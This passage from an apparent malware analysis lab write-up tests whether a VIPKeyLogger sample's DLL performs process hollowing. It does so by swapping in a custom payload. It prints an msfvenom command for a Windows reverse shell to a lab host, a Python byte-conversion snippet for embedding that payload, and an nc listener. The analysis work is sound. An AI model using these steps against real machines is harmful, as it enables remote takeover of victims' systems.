VIPKeyLogger - ENCRYPTED.ps1

Question 8: Is it possible to let the decodedAssemblyBytes DLL perform the process hollowing on a custom payload?

The idea here is the following: if it is possible to swap the content of stage2.ps1:

1
[Byte[]]$ExecutionPayload = (77,90,144,0,3,0<cropped>)

with a custom payload, like a reverse shell to another host, so that the process hangs until the reverse shell is closed and there is time to look for the process in System Informer, it is possible to confirm that the dll is performing process hollowing.

Starting from creating the payload, in Kali Linux, Metasploit can be used to create a reverse shell executable. In this case, the REMnux machine has the IP address of 192.168.56.102 so the command used is:

1
msfvenom -p windows/shell_reverse_tcp lhost=192.168.56.102 lport=4444 -f exe -a x86 -o reverse.exe

Specifically:

• -p is choosing a payload, in this case a TCP reverse shell.
• The payload has some parameters that it accepts: lhost and lport, which define where the reverse shell is going to be accepted, so the REMnux client will need to listen on port 4444.
• -f is the format, since the custom payload is an .exe another .exe is created. The fact that the original one is a .NET sample does not really matter.
• -a is the architecture, which is essential that it matches the original architecture since if the dll is 32 bit it will likely spawn a 32 bit process which will not be able to execute a 64 bit process.
• -o saves the file to reverse.exe.

Once the file is generated, to convert it to decimal the following code was executed:

1
with open("reverse.exe", "rb") as f:
2
    data = f.read()
3

4
print(f'({", ".join((str(b) for b in data)})')

This will output a string like the following, with parentheses included, just for easier replacement in the PowerShell ISE.

1
( 77, 90, 144 ...)

Before executing the script, in REMnux port 4444 was opened in listening, to accept the connection created when the sample executes:

1
nc -l 4444

Executing the sample shows that aspnet_compiler has opened a connection to port 4444.

And in REMnux the session is opened correctly:

Lastly, looking at the Memory section of System Informer, a suspicious memory area is present. It is suspicious since it has RWX permissions which are very rarely needed by standard processes.

This confirms the fact that the dll is indeed performing process hollowing with the .NET compiler as the target process.

Now that it is clear that the dll will do process hollowing, the focus can move to the analysis of the .exe coming from ExecutionPayload. This is another .NET file, so the analysis can be performed either dynamically and then by looking at the code, or vice versa. A brief look into the code shows that there is no apparent obfuscation, so the starting point will be the code analysis and then dynamic analysis if needed.